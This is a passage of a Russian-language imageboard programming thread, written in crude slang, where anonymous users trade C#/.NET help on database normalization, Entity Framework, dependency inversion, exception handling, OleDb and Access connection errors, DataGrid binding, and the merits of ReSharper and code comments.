По сути мне нужно вытащить med_id_first, med_id_second, med_id_third из таблицы и посмотреть названия препаратов с соответствующим med_id_порядковыйномер (к примеру med_id_first будет "Анальгин", а med_id_second будет "Но-шпа")

Или можно как-то реализовать запрос по другому?
в курсе на счет правил наименования, это чуть позже переделаю
Аноним 27/06/20 Суб 12:35:08 1735120191
>>1735104
Няша, юзай EF и не парься. Срсли. Там настроишь многие-ко-многим и просто сможешь доставать что тебе надо прямо из класса модели без всех этих джоинов-хуеинов.
Аноним 27/06/20 Суб 14:05:12 1735169192
Аноним 27/06/20 Суб 14:38:35 1735193193
Аноним 27/06/20 Суб 15:04:04 1735200194
>>1735193
Насколько помню, в еф который кор нет многие-ко-многим
Возможно, проще будет написать sql запрос
База не нормализована, это хуево
Аноним 27/06/20 Суб 15:05:23 1735201195
>>1735200
Да а как запрос-то написать сука?
"Болезни (Связывает таблицы "Болезни" и "Лекарства" по полю "Код лекарства", "Код лекарства 1", "Код лекарства 2" и "Код лекарства 3")"
Аноним 27/06/20 Суб 15:19:57 1735218196
>>1735201
Сделай таблицу лекарства
Сделай таблицу кодЛекарства, в которой будет поле лекарствоИд
Потом свяжешь коды лекарства

Анон, очень сложно вникнуть в то, что ты написал. Даже не сложно, а лень, это какое-то дерьмо – я так понял, что ты захардкодил три кода лекарства. А если четвертый появится? Делай правильно
Аноним 27/06/20 Суб 15:27:57 1735223197
image.png 26Кб, 694x273
694x273
>>1735218
Такое задание, ничего поделать не могу.
Аноним 27/06/20 Суб 15:43:11 1735233198
>>1735223
> Такое задание
Заебись, в универе закладывают фундамент
Я сейчас в дороге, приду домой покумекаю
Аноним 27/06/20 Суб 16:07:42 1735247199
Аноним 27/06/20 Суб 19:31:26 1735396200
>>1735200
> Насколько помню, в еф который кор нет многие-ко-многим
Нет в том виде в каком это было в обычном EF, но ничего не мешает тебе запилить самому модельек вида:
IEnumberble<A> as
IEnumberble<A> bs

и при конфигурации сущностей запилить эту связь раками. Все равно один раз это напишешь и можешь из любого места доставать то что тебе надо.
Аноним 27/06/20 Суб 20:03:42 1735404201
image.png 38Кб, 845x481
845x481
>>1730915
Нашел про первое в книжке. Оказалось очень просто.
Аноним 27/06/20 Суб 20:07:18 1735408202
>>1735223
Говоришь преподу: Это какое-то говно. И делаешь нормально.

Вот тебе примерный код того как обычно люди делают https://ideone.com/CALmkx Посмотри и адаптируй под свою задачу. Да, кажется что это усложнение, на деле же так потом проще будет, базарю.
Аноним 27/06/20 Суб 20:25:36 1735418203
>>1735408
К сожалению меня пошлют нахуй ибо я уже один раз прислушался с своему сердцу и сделал так, как считаю нужным. В итоге сказали, что в первый раз не снизят оценку, но в следующие - будут. мне похуй на оценки, но в таком случае я буду получать хуй за щеку, а не деньги
Аноним 27/06/20 Суб 20:36:10 1735426204
>>1732881
Если бы через реф было бы 20 20, не?
Аноним 27/06/20 Суб 20:47:16 1735436205
>>1735418
Но ведь хуйню просят делать. Ты им скажи, что есть, блядь, нормальные формы, их не долбоебы придумали. Третья нормальная является, блин, стандартом хранения данных в реляционках. Банально ты избегаешь дублирования, в случае если болезнь лечат 2 колесами не нужно будет null вставлять, null в реляционках считается редкостной хуйней, которую лучше не использовать в самих таблицах, опять же, ты можешь поверх представление(вьюшку) сделать в том виде какой просят в задании, но при этом потом можешь, если надо, и 5 колес выводить, и 10, и 1, можешь все симптомы объединить в строку и выводить в одном столбце и т.д. СУБД же тоже не тупые, там есть куча способов работы с тем что в таблицах хранится. Опять же, в приложухе можешь уже вьюшку тянуть, причем тебе даже не нужно будет ничего объединять, ты на стороне СУБД это сделал и просто тянешь, если надо что-то добавить/отредактировать - тянешь из СУБД хранимку, которая в том виде, в котором надо добавит/обновит.
Хотя бы для себя сделай нормально, а преподу показывай результирующие вьюшки в том виде, какой просят. Ну серьезно, потратишь чуть больше времени, зато со спокойной душой жить будешь.
И вообще, ХЗ что за преподы такие. В моей шараге, например, если просили сделать сортировку пузырьком для лабы, а ты делал квиксорт, тебя только хвалили, если нужно было написать консольную приложуху, а ты делал на формах, тебя в попу целовали и говорили: "Смотрите, какой анон инициативный, берите с него пример!". Да и когда работать пошел, если какую-то полезную штуку реализовал, вне рамок ТЗ, но уложился в сроки и оно работает нормально, никак особо не влияя на остальные фитчи, ни разу не было такого, чтобы кто-то был недоволен.
Аноним 27/06/20 Суб 20:50:34 1735440206
>>1735436
Спасибо, ты рассказал мне больше за 1 минуту чем за год обучения
Аноним 27/06/20 Суб 22:46:10 1735543207
>>1735426
Нет, офк. Сами ссылки значимые и в метод прилетают копии ссылок, все жонглирование происходит с локальными ссылками и никак не затрагивает ссылки из мэйна. Да и хз как ты вообще к 20 20 пришел.
Аноним 28/06/20 Вск 16:19:13 1736000208
>>1735543
Потому что в том примере
a = b; //ссылка на число 10 заместилась ссылкой на число 20
b = a; //ссылка на число 20 заместилась ссылкой на... число 20

А ссылка, которая была в _а перешла в _temp, но так там и осталась.

Так что если везде, где надо дописать модификатор ref, то результат будет 20, 20. Потому что ссылка с числом 10 была проебана в методе.
Аноним 28/06/20 Вск 18:11:33 1736072209
Сосаны, поясните мне за Dependency Inversion Principle.
Суть такова: у меня есть проект на винформочках, который в рантайме присасывается к БД и делает к ней запросы. Собсна я насоздавал интерфейсы для классов, создал класс, который эти самые классы создает. И все бы нормально, но:
1. Как реализовывать Dependency Inversion для винформочек? Создавать пустой интерфейс? Потому что извлечь его рефакторингом я не могу, да и извлекать нечего: все методы формочки приватные.
2. Как реализовывать Dependency Inversion для работы с БД? У меня есть класс, который работает с БД, и он по сути строки БД запихивает в классы-контейнеры. То есть у меня есть таблица People, я делаю запрос к БД и у меня формируется List<Person> уже в Шарпе. Для этого я использую Query<T>, но вот проблема: Query<Person> работает на ура, а Query<IPerson> ломается. Если Query<T> не жрет интерфейсы, то как реализовывать Dependency Inversion для запросов к БД? Или я чего-то не понимаю?
Аноним 28/06/20 Вск 18:18:23 1736076210
>>1736072
Не обязательно интерфейсы использовать, если нужно использовать какие-либо поля или методы, то используют абстрактные классы. Главное чтобы объявление этого абстрактного класса было на уровне выше, чем его реализация.
Аноним 28/06/20 Вск 18:23:03 1736078211
>>1736076
Разве интерфейсы - это не публичные абстрактные классы? В чем будет разница между созданием интерфейса и созданием абстрактного класса тогда?
Аноним 28/06/20 Вск 18:24:20 1736079212
>>1736078
По какой причине у тебя c Query<IPreson> всё ломается?
Аноним 28/06/20 Вск 18:32:26 1736085213
>>1736079
Хуй знает. Дает ArgumentException. Насколько понимаю по стактрейсу - проблема в том, что System.Reflection.Emit.DynamicMethod.Init не работает с интерфейсами, якобы "недопустимый владелец типа". Но что это значит - я понимаю крайне слабо.
Аноним 28/06/20 Вск 18:49:14 1736103214
>>1736085
>Хуй знает.
Ну вот ты сначала узнай, а уже потом пытайся следовать принципам проектирования.
Аноним 28/06/20 Вск 19:06:35 1736112215
>>1736103
Ну я погуглил. Действительно нельзя интерфейсы передавать. Тогда как Dependency Inversion реализовывать?
Аноним 28/06/20 Вск 20:05:50 1736156216
>>1736000
>Так что если везде, где надо дописать модификатор ref
Ну ахуеть. А если еще дописать, то можно получить хоть 666 13.
Аноним 28/06/20 Вск 20:25:27 1736178217
>>1736112
Передавай абстрактные классы, я же написла.
Аноним 28/06/20 Вск 20:33:15 1736187218
>>1736156
Пошли виляния жопой.

Этот чел прав >>1732847
и этот >>1735426

А те, кто им отвечали в духе "уволен" и "офк нет, хуе-мое" вводят в залужение других челов-новичков, которые потом это могут прочитать.
Аноним 28/06/20 Вск 20:38:44 1736201219
>>1736178
Один хуй экспешен. Потому что нельзя создавать экземпляры абстрактных классов.
Аноним 28/06/20 Вск 21:29:37 1736283220
>>1736201
Охуеть, это такой троллинг? Очевидно, что создавать нужно не экземпляры абстрактных классов и интерфейсов, а классы которые реализуют интерфейсы/абстрактные классы. И принцип DI, как раз заключается в том, что определение интерфейса/абстрактного класса лежит на уровне выше и отдельно от его реализации, делая основной класс независимым от дополнительных классов.
Аноним 28/06/20 Вск 21:41:31 1736304221
>>1736283
Я понимаю. Но Query<IPerson> у меня нихуя не работает, Query<Person> не подходит для DI, а передать нужный тип через переменную в <> нельзя. Потому я и не понимаю, че мне делать.
Аноним 28/06/20 Вск 22:04:57 1736332222
>>1736304
>Query<Person> не подходит для DI
Сделай чтобы подходило. В чём проблема?
Аноним 28/06/20 Вск 22:39:12 1736381223
>>1736304
Зачем тебе Query<T> резолвить?
Аноним 28/06/20 Вск 23:37:09 1736449224
>>1736072
Ты какую-то хуйню собрался делать. Серьезно. Классы моделей никто не выносит в интерфейсы. Просто потому что это уровень модели нахуй ломает.

А насчет инверсии зависимостей для работы с БД, обычно под этим подразумевается, что ты выносишь провайдера в интерфейс и у тебя обращение к БД идет через какой-нибудь IDataStore<T> в котором есть все нужные тебе методы для работы с этой самой БД, Add/Remove/Update/Get/GetRange/GetAll. И потом ты можешь заинжектить в нужный тебе класс и доставать своих персон. Пример этого есть тут https://github.com/dotnet-architecture/eShopOnWeb

В интерфейсы выносятся сервисы и классы которые какую-то работу совершают, например обработка оплаты заказа, сборка странички с данными по оплате, логгирование, системы оплаты и это вот все.
Аноним 28/06/20 Вск 23:55:07 1736477225
>>1736449
Спасибо, анонче. Было чувство, что модели в интерфейсы не выносятся, но я немного слишком увлекся.
А что насчет винформочек? С ними надо что-то делать или оставить?
Аноним 29/06/20 Пнд 00:07:59 1736489226
15927560881351.jpg 1178Кб, 2000x1333
2000x1333
Xamarin.Forms или Xamarin.Android?
Аноним 29/06/20 Пнд 03:46:13 1736556227
image.png 95Кб, 1012x741
1012x741
Что не так? почему "The 'Microsoft.ACE.OLEDB.12.0' provider is not registered on the local machine."

Погуглил, пишут что надо поставить AccessDatabaseEngine - ну я поставил. даже комп перезагрузил. почему не раб?
Аноним 29/06/20 Пнд 06:51:54 1736588228
>>1736556
Блядь, почему я должен за тебя гуглить, если ответ на 1й ссылке?
Патч для 64 битной поставил, сука? Или меняй разрядность приложения на 32 бита.
Аноним 29/06/20 Пнд 12:08:47 1736680229
Аноним 29/06/20 Пнд 16:24:24 1736964230
>>1736556
> Что не так?
> AccessDatabaseEngine
Аноним 29/06/20 Пнд 17:28:19 1737010231
Зашёл тут на ваши двачи, решил почитать что вы тут пишете.

>>1724425 (OP)

> Resharper
Пиздец. Что в нём хорошего? Search everywhere умеет и студия, и VS Code по Ctrl + T.
Какие там, блядь, рефакторинги? Отвратительно долгий rename class/interface/variable (в который имеет студия и вскод, опять же, и в разы быстрее) с уёбищным ненужным rename in comments?

> Третьим пунктом WinForms и WPF, шестым про Xamarin
Десктоп умирает.
WinForms актуален для студентов говновузов, WPF функционален, но с уёбищным XAML.
Мобайл дева на шарпе катастрофичеки мало (12 вакансий «Xamarin» — СПб)
На месте этого вопроса должно быть что-то по ASP.NET (ASP.NET — 104 вакансии СПб, WPF — 29 вакансий).

> Для мака и никсов самый юзабельный вариант - MonoDevelop
Для мака и никсов самый юзабельный вариант — VS Code.

> Кроме того, в данный момент JetBrains активно пилит свою IDE для шарпа (Project Rider), вероятно в ближайшее время станут доступны...
Шапка 1999? Уже давно райдер выпустили.

> Охуенное расширение для студии Format document on Save
В VS Code из коробки есть.
В студии разве нет?

> Indent Guides - показывает вертикальные линии на каждом уровне отступов
В студии из коробки есть.

> Литература
Не увидел здесь:
Pro .NET Performance: Optimize Your C# Applications
Microsoft SQL Server 2012 T-SQL Fundamentals
SQL Server Execution Plans
Аноним 29/06/20 Пнд 18:26:05 1737075232
>>1737010
Как ты живёшь без решарперовского автоимпорта неймспейсов? Это же отвлекает, пиздец. Собственно, этой фичей они меня и купили
Навигация по контролёров в аспе
Аноним 29/06/20 Пнд 19:03:12 1737107233
>>1737075
Решарперовский автоимпорт может автоимпортировать что-то не то. Не нравится так. Импортирую по "контрол+точка, энтер", радуюсь жизни.

Какая навигация по контроллерам в аспе?
Аноним 29/06/20 Пнд 19:06:07 1737112234
>>1737107
Это надо тип полностью написать, пиздец ты трудолюбивый

Навигация к представлению View в MVC. Редко, но пригождается, когда легаси приходит
Аноним 29/06/20 Пнд 19:39:51 1737150235
Сдавал ли кто 70-486 сертификат? Сдал в начале года 483, и еще есть время до января сдать 486. Сложно учить как-то очень странние вещи по WCF, azure, mvc 4-4
Аноним 29/06/20 Пнд 19:40:44 1737152236
>>1737010
> Resharper
>Что в нём хорошего?
Ренейм класса не работает через раз как в студии, при переносе в другой неймспейс, всё автоматически правится, а в студии тебе ручками неймспейс править нужно. В Студии нет подсчета ссылок на метод, класс, поля и т. д.
Также встроенный конструктор ToString который автоматически перезаписывает его и добавляет вывод всего стейта в текст.
>ненужным rename in comments?
Ну если ты даун, который в комментах ничего не пишет, то это не значит, что все такие.
Аноним 29/06/20 Пнд 19:42:42 1737155237
>>1737010
+ про решарпер еще вспомнил, что он автоматически предлагает заменять старые конструкции на новые, например обычный switch на switch expression и вообще подсказывает если можно уменьшить количество кода.
Аноним 29/06/20 Пнд 20:15:47 1737176238
Визуал студио вообще нормально работает под макосью?
Аноним 29/06/20 Пнд 20:39:21 1737199239
.png 21Кб, 706x515
706x515
>>1737152
> Студии нет подсчета ссылок на метод, класс, поля и т. д.
А это что?

Другое дело что студия при том же поиске оч тормозит, особенно в проекте с ангуляром, который хоть раз собирался. Это пиздец какой-то начинатся. А ебучий Райдер нормально так работает без особых проблем.
Аноним 29/06/20 Пнд 20:55:08 1737210240
>>1737176
Она же урезана сильно.
Я бы сделал выбор в пользу вскода.
Аноним 29/06/20 Пнд 20:56:35 1737212241
>>1737150
Профит есть от сертификатов?
Аноним 29/06/20 Пнд 21:06:21 1737220242
>>1737152
> при переносе в другой неймспейс
Часто ты кидаешь классы из папки в папку?

> даун, который в комментах ничего не пишет
Что писать-то?

> /// <summary>
> /// Публичный класс <see cref="MyClass />, реализующий интерфейсы <see cref="ICommentable"/> и <see cref="IUnnecessary"/>
> /// </summary>
> public сlass MyClass : ICommentable, IUnnecessary
> { ... }
Норм? Первый раз пишу, не судите строго.
Аноним 29/06/20 Пнд 21:13:16 1737229243
>>1737152
Решарпер не нужен. Комменты тоже. Убедите меня в обратном
Аноним 29/06/20 Пнд 21:14:58 1737230244
Аноним 29/06/20 Пнд 21:22:48 1737239245
>>1737220
>Часто ты кидаешь классы из папки в папку?
Да, особенно на начальных стадиях, когда структура проекта постоянно меняется и дополняется.
>Что писать-то?
Всё что поможет тебе и другим понять работу кода без необходимости читать непосредственно сам код.
Аноним 29/06/20 Пнд 21:23:15 1737241246
Аноним 29/06/20 Пнд 21:24:08 1737242247
>>1737229
Он еще и ошибки в именовании переменных исправляет. Помогает если у тебя с письменным английским плохо.
Аноним 29/06/20 Пнд 21:31:45 1737254248
>>1737242
С английским всё хорошо.
Аноним 29/06/20 Пнд 21:56:36 1737287249
>>1737229
> Решарпер не нужен
Ну, как минимум то что он по папочкам неймспейсы автоматом делает довольно полезная херня.
> Комменты тоже
Я тоже так думал, пока в универе учился. Вот я прихожу на работу, меня садят легаси поддерживать, последний разработчик которого съебался далеко и не выходит на связь, из работающих никто не знает как он работает, большинство даже точно не уверены что оно делает, только один дед припоминает, что году так в 2005 возникла маленькая задачка и решено было простенькое решение запилить, задачку он уже не помнит, правда, разрабатывали 15 лет, там сейчас больше 750к строк кода, при этом из комментариев только соревнование тех кто за ним сидел в остроумии(шутки-хуютки, анекдоты и какие-то замечания, что вот кто-то там мудак, этот кто-то тоже давно не работает тут) и тудушки из времен когда он только начинался в стиле: TODO Сделать нормально. Это был сущий ад разбираться в этом, при этом говоришь руководителю: Дайте неделю, чтобы разобраться и еще неделю на рефакторинг: Хуй тебе, код написан, он работает, а ты, раз программистом назвался, - правь баги, добавляй фитчи, эта хуйня ложится у клиентов в рандомные фазы луны, но вроде работает же, а клиенты хотят больше фтич.
Аноним 29/06/20 Пнд 22:02:47 1737293250
.jpg 181Кб, 699x629
699x629
.png 820Кб, 676x958
676x958
Есть поток, внутренности которого завернуты в try catch. В потоке вызывается метод, внутренности которого так же завернуты в try catch. В методе происходит исключение(Abort) - я готов к этому, и catch метода его обрабатывает. Вот только после обработки, исключение передается выше, в catch основного потока и руинит все нахуй. Это норма вообще? Я же throw; в первом блоке catch не вызываю, с хуев ли оно выше передается? Как сделать так, чтобы не передавалось, и обработка исключения происходила только в первом же блоке catch?
Аноним 29/06/20 Пнд 22:09:43 1737298251
>>1737287
Когда я только в универе учился, я думал, что комменты не нужны. Когда начала работать - стал думать, что нужны. После 10 лет стажа считаю, что комменты не нужны. Нужна high-level документация и тесты. Всё остальное - херня.
Аноним 29/06/20 Пнд 22:24:04 1737315252
>>1737298
Так-то оно так, только кто эту документацию писать будет? Если кодер, то он в процессе нередко тупо забывает что и зачем делал и вся документация выглядит как:
void DoSomething(object X) - принимает объект и делает что-то.
С комментами, которые пишутся в процессе хотя бы ход мысли понять можно, можно понять что на момент написания метода/класса стояла за задача, проанализировать нормально ли она решена в этом контексте и принять решение надо ли это трогать, или можно оставить как есть, а не быть обезьяной, которая палкой тыкает и проверяет не ебанет ли, либо обкалывает фасадами и адаптерами.
Аноним 29/06/20 Пнд 22:43:19 1737327253
>>1737315
>void DoSomething(object X) - принимает объект и делает что-то.
Документация конкретных методов не нужна. Юнит тесты твоя документация методов. Документация нужна чтоб описать котракты для твоего API и взаимодействие модулей системыю
Аноним 29/06/20 Пнд 23:54:11 1737377254
.jpg 181Кб, 699x629
699x629
>>1737293
Если сам вызов метода обернуть в try catch, то при исключении он и туда зайдет, и потом все равно подымется выше и все заруинит(то есть зайдет в 3 блока catch: сначала в самом методе, потом catch-блок в который был завернут вызов метода, потом catch-блок в который завернут основной поток) Это норма что ли? Нахуя тогда нужен оператор "throw;" в блоке catch, если один хуй исключение и так выше передается?
Аноним 29/06/20 Пнд 23:59:19 1737379255
Аноним 29/06/20 Пнд 23:59:28 1737380256
Аноним 30/06/20 Втр 01:01:02 1737420257
.jpg 71Кб, 453x604
453x604
>>1737380
Боже, огромное спасибо, нагеморроился тут с этим. И ведь читал, что у него есть Reset, но совершенно забыл.

>что ты вообще делаешь?
Я только учусь. Изначально было множество раздельных потоков, каждый из которых трудился над своей задачей, так было проще реализовать для начала(иди от простого к сложному). Внутри множество методов(долгие недели работы и отладки), в каждом из которых что-то может пойти не так, и, если возникала ошибка, при которой не было смысла дальше продолжать - я просто выбирал прервать неудачный поток.
Сейчас, для взаимодействия между задачами, все перевожу на один общий интерфейс и поток, и бывшие потоки теперь стали просто методом, который по очереди в цикле прогоняется для всех задач(данных). Но ошибки так же вылетают с предложением прервать поток, что, естественно, при общем потоке мне не нужно, а нужно лишь отменить выполнение конкретной задачи. Потому просто отлавливаю ThreadAbortException и возвращаю в основной поток false, чтобы там удалить и не выполнять задачу. Просто же повесить на кнопку прерывания "return false;" - я не могу, тк форма ошибки вызываются в основном в десятках внутренних методах и их подметодах.
Аноним 30/06/20 Втр 01:13:31 1737426258
>>1737420
Ужас. Пойди посмотри на async/await и System.Threading.Task, а то ты себе в ногу из пулемета стреляешь
Аноним 30/06/20 Втр 01:58:22 1737444259
.jpg 223Кб, 1024x716
1024x716
>>1737426
>async/await
Недавно посмотрел(тоже по совету тут) - использую в некоторых операциях. Но не могу прогонять основной метод асинхронно, тк это Selenium веб драйвер: в нем нужно строго контролировать и переключать вкладки, с которых собираются данные и производятся манипуляции(когда было много потоков - то для каждого был свой браузер, но это то и было неудобно), так что одновременно в одном браузере асинхронно прогонять все задачи невозможно - только по одной, строго выбирая нужную вкладку. Можно, конечно, прогонять асинхронно по одному и дожидаться выполнения, но разве в этом есть смысл, если исключения отлавливаются, а основному потоку все равно нужно дождаться завершения прогона?
Что улучшать, чтобы в ногу себе не стрелять?
Аноним 30/06/20 Втр 02:13:28 1737450260
>>1737444
Мне, честно говоря, лень вникать в твою архитектуру, но список задач которые нужно уметь отменять, ждать их выполнения и т.д. выглядят отличным кандидатом для Task.Run() в который посылается CancellationToken. Посолить Task.WhenAll по вкусу, поперчить ContinueWith - и выйдет нормальное приложение.

А то, что ты описал, звучит как велосипед, кривой и страшный.
Аноним 30/06/20 Втр 02:16:27 1737453261
image.png 162Кб, 1351x651
1351x651
что за байда?
делаю как тут написано
https://docs.microsoft.com/ru-ru/visualstudio/data-tools/connect-to-data-in-an-access-database-windows-forms?view=vs-2019

то есть открываю слева источники данных - > добавить. Добавляю, прохожу все шаги, нажимаю готово, вылетает эта ошибка

Пробовал на пустом проекте
Пробовал из своей винды, и из виртуалки (виртуалбокс) с чистой системой
Пробовал и текущую 2019, и превью 2019
Аноним 30/06/20 Втр 02:21:53 1737455262
>>1737453
View -> Output
там будет текст ошибки.
Как в русской версии называется - без понятия до сих пор не знаю зачем нужны локализированные IDE
Аноним 30/06/20 Втр 02:38:27 1737466263
.jpg 90Кб, 1280x960
1280x960
>>1737450
Спасибо, я изучу это и попробую реализовать.
Аноним 30/06/20 Втр 02:39:40 1737467264
image.png 10Кб, 829x276
829x276
Аноним 30/06/20 Втр 05:06:56 1737503265
image.png 20Кб, 702x289
702x289
ffffffffff лядь как исправить?

Почему блядь оно туда какой-то excel interop пишет?

как вручную тогда подключить этот OleDB? какая там либа, а то дохрена в ссылках
Аноним 30/06/20 Втр 08:09:12 1737535266
image.png 21Кб, 1142x159
1142x159
как лечить

Ну то есть таблица в ms access открыта. если что, запрос просто на Select

явно так мне не нужно, должно все работать даже если таблица где-то еще открыта
Аноним 30/06/20 Втр 09:59:43 1737584267
>>1737535
Выполняй запросы, создавая инстанс подключения ненадолго и сразу закрывая его.

По коду из этого поста: >>1736556
using (var connect = new OleDbConnection(connection))
{
...
}

И перезапусти бд/пеку, чтобы те старые повисшие подключения сбросились.

Простое правило: все IDisposable должны быть задиспоужены.
В данном случае при вызове connect.Dispose() закрывается подключение к БД.

https://docs.microsoft.com/ru-ru/dotnet/csharp/language-reference/keywords/using-statement
тлдр: using это как try-finally, где в try выполняется код из фигурных скобок, а в finally просто лежит вызов Dispose().
Аноним 30/06/20 Втр 11:29:51 1737664268
В очередной раз читая всякие статьи на тему того, что в шарпе вызывает аллокации в куче, а что не вызывает, подумал, что неплохо было бы иметь в языке такой атрибут, которым можно было бы пометить функцию, что она не должна выделять память в куче. И если там в ней будет какой-то неявный боксинг или енумераторы на куче, то будет выдан варниг или ошибка. Ну и, соответственно, из неё должны вызываться только функции с таким же атрибутом. Так вот, может что-то подобное для шарпа уже в каком-то виде изобретено? Геймдевелоперы ведь с руками оторвали бы.
Аноним 30/06/20 Втр 11:30:48 1737665269
Аноним 30/06/20 Втр 11:33:16 1737668270
Аноним 30/06/20 Втр 11:41:51 1737680271
>>1737668
я пока не пробовал, взял на заметку, позже попробую.
Аноним 30/06/20 Втр 15:10:46 1737873272
изображение.png 21Кб, 860x351
860x351
изображение.png 29Кб, 1147x348
1147x348
еще нужна помощь... Вот у меня DataGrid, данные в него я биндю из DataTable. DataTable я заполняю из OleDb

Проблема вот в чем - данные грузятся из таблицы базы данных Access.
В этой таблице dbo_tab допустим есть два поля:
Status - int
Name - char

Теперь я хочу сделать следующее - поле Status в базе данных может принимать значение 0,1,2,3... Я же хочу чтобы вместо этих цифр писало слова открыто/закрыто/etc.
Ладно, пока что думаю тут просто сделать запросом (но возможно всеже есть более простой способ не трогая запросы?)

Но есть еще один вопрос, в DataGrid есть еще поле Id и Prop, которых нет в базе. Эти данные ну пусть берутся из какого-нибудь локального конфига и не хранятся в базе..

можно ли как-то их добавить в DataGrid?
Аноним 30/06/20 Втр 16:09:37 1737953273
image.png 849Кб, 840x1200
840x1200
image.png 380Кб, 494x700
494x700
>>1724425 (OP)
Привет /pr/. Не думал, что зайду сюда с такой проблемой.
Крч начал изучать C# по Шилдту и заранее решил взять еще и Троелсена, но обосрался и взял не "Язык программирования C# 5.0 и платформа .NET 4.5", а "Язык программирования C# 7 и платформы .NET и .NET Core" Троелсена и Джепкинса, которая в свою очередь "для профессионалов".
На сколько сильно после Шилдта у меня будет рваться жопа во время прочтения данного 1300 листового кирпича?

Так же на полке имеется CLR via C# Рихтера. Может стоит начать с нее?
Аноним 30/06/20 Втр 16:19:01 1737966274
Аноним 30/06/20 Втр 16:27:33 1737979275
>>1737953
Книжка с первого пика проще и понятнее чем CLR via C# Рихтера. Так что если сразу не тянешь Рихтера, начни с нее.
Аноним 30/06/20 Втр 16:28:26 1737981276
>>1737979
Окей, спасибо большое
Аноним 30/06/20 Втр 18:21:23 1738187277
>>1737664
Хотеть. С учетом CoreRT, где нет сборщика мусора, это мастхев
Аноним 30/06/20 Втр 19:01:08 1738237278
Annotation 2020[...].png 7Кб, 442x230
442x230
>>1738187
Нашел пока вот это
https://github.com/microsoft/RoslynClrHeapAllocationAnalyzer
подсвечивает аллокации в коде как варнинги или как suggestions.
Правда, есть вопросы к нему, например вот тут на картинке ничего не подчеркнул, хотя по идее должна быть аллокация на енумератор.

И ещё для решарпера есть что-то такое же, но у меня решарпера нет
https://plugins.jetbrains.com/plugin/12390-heap-allocations-viewer
Аноним 30/06/20 Втр 19:47:09 1738299279
>>1737503
System.Data.OleDB.OleDbConnection conn = new System.Data.OleDB.OleDbConnection(ConnString);

Не помню точное расположение этой залупы, но примерно так.
Аноним 30/06/20 Втр 20:20:11 1738329280
>>1737873
Просто выгружаешь данные, потом из них создаешь коллекцию в нужном тебе виде и уже ее биндишь. В чем проблема-то?
Аноним 30/06/20 Втр 21:56:47 1738436281
>>1737953
Так этож то же самое, ток новее, не?
Аноним 30/06/20 Втр 22:52:40 1738484282
Аноним 01/07/20 Срд 01:22:56 1738546283
Аноним 01/07/20 Срд 06:43:58 1738631284
опять херня какая-то

Вот у меня DataTable. я его заполняю руками
table.Columns.Add("№", typeof(string));
table.Columns.Add("Статус", typeof(string));
table.Columns.Add("вкл/выкл", typeof(string));
table.Columns.Add("замен.", typeof(string));
schTable.NewRow();
schTable.Rows.Add(read["NUM"],read["STATUS"], read["VK"], read["ZAM"]);

и тут проблема, первые два столбуа заполняются, а вот два последних нет. в логе пишет:
System.Windows.Data Error: 40 : BindingExpression path error: вкл выкл' property not found on 'object' ''DataRowView' (HashCode=64502903)'. BindingExpression:Path=вкл/выкл; DataItem='DataRowView' (HashCode=64502903); target element is 'TextBlock' (Name=''); target property is 'Text' (type 'String')
System.Windows.Data Error: 40 : BindingExpression path error: замен' property not found on 'object' ''DataRowView' (HashCode=64502903)'. BindingExpression:Path=замен.; DataItem='DataRowView' (HashCode=64502903); target element is 'TextBlock' (Name=''); target property is 'Text' (type 'String')


То есть тут проблемно что используется / и точка.

Как быть? если про / я думал что его надо экранировать (не помогло), то ведь еще и из-за точки не работает

Аноним 01/07/20 Срд 10:48:38 1738697285
задолбался читать воду и глупые шутки в книгах (а еще гиганские примеры, в которых 90% лишнего и можно было показать намного проще)...

Скажите, а вот это
https://docs.microsoft.com/ru-ru/dotnet/csharp/

стоящее, если по нему изучать язык?
Аноним 01/07/20 Срд 11:01:46 1738711286
>>1738631
Тут проблема в том, что ты используешь Name как Caption, а не в точке и слеше.
Аноним 01/07/20 Срд 11:14:28 1738726287
изображение.png 89Кб, 796x990
796x990
изображение.png 38Кб, 457x785
457x785
Почему программа не запускается вне этой папки? Вроде все элементы выбрал как внутренние ресурсы
Аноним 01/07/20 Срд 11:16:43 1738727288
>>1738726
потому что у тебя вагон dll-ок и конфигов тут
Аноним 01/07/20 Срд 11:26:58 1738735289
>>1737155
> предлагает заменять старые конструкции на новые
Как там в 2007?
>>1737075
>без решарперовского автоимпорта неймспейсов?
Не знаю как там в решарпере, но вроде и в студии не сложно, еще и нугет подтянет.
Аноним 01/07/20 Срд 11:27:54 1738737290
switch.png 59Кб, 1019x663
1019x663
ref.png 36Кб, 847x296
847x296
Аноним 01/07/20 Срд 11:37:56 1738744291
А чем вообще на работе занимаются джуны-дотнетчики? Я только вот вкатываюсь я обязательно вкачусь, и не представляю как это айти работает. Им же не дают с нуля проект писать, а накидывают пилить тесты или обновлять старый код?
Аноним 01/07/20 Срд 12:03:12 1738768292
>>1738727
А как сделать то, чтобы работало?
Аноним 01/07/20 Срд 12:04:30 1738769293
>>1738735
> Не знаю как там в решарпере, но вроде и в студии не сложно, еще и нугет подтянет.
Например, есть класс LoudFartService
В студии надо написать его полностью, и нажать Alt+Enter. С решарпером я пишу "lfs" по первым буквам, но можно и длинее и нажимаю Tab
Аноним 01/07/20 Срд 13:10:55 1738854294
image.png 17Кб, 794x347
794x347
>>1738769
Решарпера нет, что я не так делаю?
Аноним 01/07/20 Срд 13:28:07 1738871295
>>1738744
Пишут документацию, покрывают код комментариями и тестами, приводят отдельные куски говнокода от гуру к корпоративным стандартам по кодстайлу, предварительно покрыв всё тестами, чистят гит и полируют джиру. Через годик подпускают уже к написанию самого кода в проектах.
Аноним 01/07/20 Срд 13:40:16 1738878296
.jpg 106Кб, 859x1267
859x1267
Анон, как прикрутить пароль к моей БД? Уже третий день ебусь, нихуя разобраться не могу. Мне нужно сделать так, чтобы к БД можно было подключаться по паролю.
Аноним 01/07/20 Срд 13:40:29 1738879297
>>1738854
Так он у тебя в том же пространстве имен. А фишка в автоимпорте других пространств. Попробуй свой класс засунуть в папку или унести в другой проект, и все, пиши полностью без подсказок

На самом деле можно жить и без этой фичи. Я вообще в vscode старался около месяца писать. Непродуктивно – сидишь, пердишь, вспоминаешь. А с решарпером потыкал, потыкал и табнул
А в vscode только микропроекты пишу, и то ради интереса
Аноним 01/07/20 Срд 13:43:41 1738885298
>>1738878
>Анон, как прикрутить пароль к моей БД?
меня больше интересует как хранить этот пароль чтобы его не было в коде
Аноним 01/07/20 Срд 13:55:17 1738893299
image.png 17Кб, 741x342
741x342
>>1738879
Держи другое простанство имен
Аноним 01/07/20 Срд 13:57:09 1738896300
>>1738885
храни connectionString в конфиге. Конфиг преобразуй во время деплоя.
